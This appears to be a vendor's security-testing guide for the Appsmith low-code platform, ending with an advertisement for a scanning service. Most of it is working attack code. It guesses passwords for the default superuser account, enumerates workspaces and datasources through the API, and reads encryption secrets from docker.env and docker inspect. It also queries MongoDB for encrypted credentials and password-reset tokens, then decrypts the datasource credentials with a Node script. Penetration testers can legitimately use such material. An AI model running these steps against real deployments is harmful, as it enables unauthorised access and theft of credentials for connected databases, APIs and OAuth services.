Appsmith Security Testing: Default Credentials, API Token, Database, and Encryption Password

Appsmith is a widely deployed open-source low-code platform for building internal tools, admin panels, and dashboards — it connects to databases, REST APIs, and cloud services, making it a credential aggregator for internal infrastructure. Key assessment areas: APPSMITH_ENCRYPTION_PASSWORD and APPSMITH_ENCRYPTION_SALT are used to AES-encrypt all datasource credentials stored in MongoDB; decrypting these enables harvesting all connected database passwords, API keys, and OAuth secrets; the superuser@appsmith.com account is documented as the default admin; the API allows enumerating all applications and datasource configurations; and MongoDB stores all Appsmith data. This guide covers systematic Appsmith security assessment.

Table of Contents

  1. Default Credentials and Authentication Testing
  2. API Application and Datasource Enumeration
  3. ENCRYPTION_PASSWORD and Datasource Credential Extraction
  4. Appsmith Security Hardening

Default Credentials and Authentication Testing

# Appsmith — default credentials and authentication testing
APPSMITH_URL="https://appsmith.example.com"

# Appsmith documented default admin account
# superuser@appsmith.com — created during first-run setup
# Password is set during installation; test weak defaults
for PASS in "appsmith" "password" "admin" "changeme" "Password1" "Admin@123"; do
  AUTH=$(curl -s -X POST "${APPSMITH_URL}/api/v1/users/login" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"superuser@appsmith.com\",\"password\":\"${PASS}\"}" 2>/dev/null)
  STATUS=$(echo "$AUTH" | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    if d.get('responseMeta',{}).get('success'):
        print('OK: '+str(d.get('data',{}).get('email','')))
    else:
        print('FAIL')
except:
    print('ERROR')
" 2>/dev/null)
  echo "superuser@appsmith.com/${PASS}: ${STATUS}"
done

# Get session cookie on success
AUTH_RESPONSE=$(curl -s -c cookies.txt -X POST "${APPSMITH_URL}/api/v1/users/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"superuser@appsmith.com","password":"YOUR_PASS"}' 2>/dev/null)
echo "Cookie: $(cat cookies.txt | grep SESSION | awk '{print $7}')"

# Current user info
curl -s -b cookies.txt "${APPSMITH_URL}/api/v1/users/me" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
u=d.get('data',{})
print(f'User: {u.get(\"email\")} admin={u.get(\"isSuperUser\")} org={u.get(\"organizationId\")}')
" 2>/dev/null

API Application and Datasource Enumeration

# Appsmith REST API — application and datasource enumeration
APPSMITH_URL="https://appsmith.example.com"
# Use session cookie from login or API key from user settings

# List all workspaces
curl -s -b cookies.txt "${APPSMITH_URL}/api/v1/workspaces" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
workspaces = d.get('data',{}).get('content',[]) if isinstance(d,dict) else d
print(f'Workspaces: {len(workspaces)}')
for w in workspaces:
    print(f'  [{w.get(\"id\")}] {w.get(\"name\")} apps={len(w.get(\"applications\",[]))}')
" 2>/dev/null

WORKSPACE_ID="your-workspace-id"

# List all applications
curl -s -b cookies.txt "${APPSMITH_URL}/api/v1/applications?workspaceId=${WORKSPACE_ID}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
apps = d.get('data',{}).get('content',[]) if isinstance(d,dict) else d
print(f'Applications: {len(apps)}')
for a in apps:
    print(f'  [{a.get(\"id\")}] {a.get(\"name\")} pages={len(a.get(\"pages\",[]))} public={a.get(\"isPublic\")}')
" 2>/dev/null

# List all datasources — connection configurations with credentials
curl -s -b cookies.txt "${APPSMITH_URL}/api/v1/datasources?workspaceId=${WORKSPACE_ID}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
datasources = d.get('data',[]) if isinstance(d,dict) else d
print(f'Datasources: {len(datasources)}')
for ds in datasources:
    print(f'  [{ds.get(\"id\")}] {ds.get(\"name\")} type={ds.get(\"pluginId\")}')
    config = ds.get('datasourceConfiguration',{})
    url = config.get('url','')
    endpoints = config.get('endpoints',[])
    if url:
        print(f'    URL: {url}')
    for ep in endpoints:
        print(f'    Host: {ep.get(\"host\")}:{ep.get(\"port\")} db={config.get(\"connection\",{}).get(\"mode\")}')
" 2>/dev/null

# Test datasource connection — may reveal credential validity
DS_ID="your-datasource-id"
curl -s -b cookies.txt -X POST \
  "${APPSMITH_URL}/api/v1/datasources/${DS_ID}/test" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Test result: {d.get(\"data\",{}).get(\"messages\",[])}')
print(f'Success: {d.get(\"responseMeta\",{}).get(\"success\")}')
" 2>/dev/null

ENCRYPTION_PASSWORD and Datasource Credential Extraction

# Appsmith ENCRYPTION_PASSWORD and datasource credential extraction

# docker-compose environment variables
cat /appsmith/docker.env 2>/dev/null | grep -E "ENCRYPTION|MONGO|REDIS|SECRET"
# APPSMITH_ENCRYPTION_PASSWORD — password for AES encryption of datasource credentials
# APPSMITH_ENCRYPTION_SALT — salt for key derivation
# APPSMITH_MONGODB_URI — MongoDB connection string
# APPSMITH_REDIS_URL — Redis connection

# Docker inspection
docker inspect appsmith 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['ENCRYPTION','MONGO','REDIS','SECRET','PASSWORD']):
            print(e)
" 2>/dev/null

# MongoDB access — Appsmith stores all data in MongoDB
MONGO_URI="mongodb://localhost:27017/appsmith"
mongosh "$MONGO_URI" 2>/dev/null --eval "
db.datasource.find({},{
  name:1,
  pluginId:1,
  'datasourceConfiguration.url':1,
  'datasourceConfiguration.endpoints':1,
  'datasourceConfiguration.authentication':1  // Contains encrypted credentials
}).limit(10)
"
# authentication.password — AES-encrypted with ENCRYPTION_PASSWORD+SALT
# Decrypt: PBKDF2-HMAC-SHA1(ENCRYPTION_PASSWORD, ENCRYPTION_SALT) -> AES-128/256-CBC key

# User collection — all Appsmith users
mongosh "$MONGO_URI" 2>/dev/null --eval "
db.user.find({},{
  email:1, name:1, isSuperUser:1, isAnonymous:1,
  emailVerificationToken:1, forgotPasswordToken:1,
  createdAt:1, lastActiveAt:1
}).limit(20)
"

# Decrypt datasource credentials using extracted ENCRYPTION_PASSWORD and SALT
# Reference: Appsmith uses Spring Security Crypto - PBEWithMD5AndDES or AES
node -e "
const crypto = require('crypto');
// APPSMITH_ENCRYPTION_PASSWORD and SALT from docker.env
const password = 'extracted-password';
const salt = 'extracted-salt';
const encryptedValue = 'encrypted-value-from-mongodb';
// Appsmith encryption: PBKDF2-SHA1, 1024 iterations, 16-byte key
const key = crypto.pbkdf2Sync(password, salt, 1024, 16, 'sha1');
try {
  const buf = Buffer.from(encryptedValue, 'base64');
  const iv = buf.slice(0,16);
  const enc = buf.slice(16);
  const decipher = crypto.createDecipheriv('aes-128-cbc', key, iv);
  const dec = decipher.update(enc,'','utf8') + decipher.final('utf8');
  console.log('Decrypted: ' + dec);
} catch(e) { console.log('Error: '+e.message); }
" 2>/dev/null

Appsmith Security Hardening

Appsmith Security Hardening Checklist:
Security TestMethodRisk
ENCRYPTION_PASSWORD+SALT extraction and datasource credential decryptionRead docker.env APPSMITH_ENCRYPTION_PASSWORD/SALT — AES key derivation inputs; combined with MongoDB access, decrypt all datasource passwords, API keys, and OAuth secrets for all connected servicesCritical
Default admin credential exploitation (superuser@appsmith.com)POST /api/v1/users/login with superuser@appsmith.com — full admin access enabling datasource management, user administration, and application modificationCritical
API datasource enumeration and connection testingGET /api/v1/datasources — all connections with host/port/database; POST /api/v1/datasources/{id}/test — validates credentials confirming active access to connected systemsHigh
MongoDB datasource collection accessMongoDB query of datasource collection — all datasource configurations with encrypted credentials; authentication.password field contains AES-encrypted database passwords decryptable with ENCRYPTION_PASSWORDCritical
Public application access misconfigurationGET /api/v1/applications — check isPublic field; public Appsmith applications accessible without authentication may expose internal data queries and database read accessHigh

Automate Appsmith Security Testing

Ironimo tests Appsmith deployments for APPSMITH_ENCRYPTION_PASSWORD+SALT extraction and datasource credential decryption, default superuser@appsmith.com admin credential testing, API application and datasource enumeration, MongoDB datasource collection credential ciphertext extraction, datasource connection validation testing, public application access misconfiguration, user email enumeration, Docker environment variable credential exposure, MongoDB network exposure testing, and workspace privilege escalation testing.

Start free scan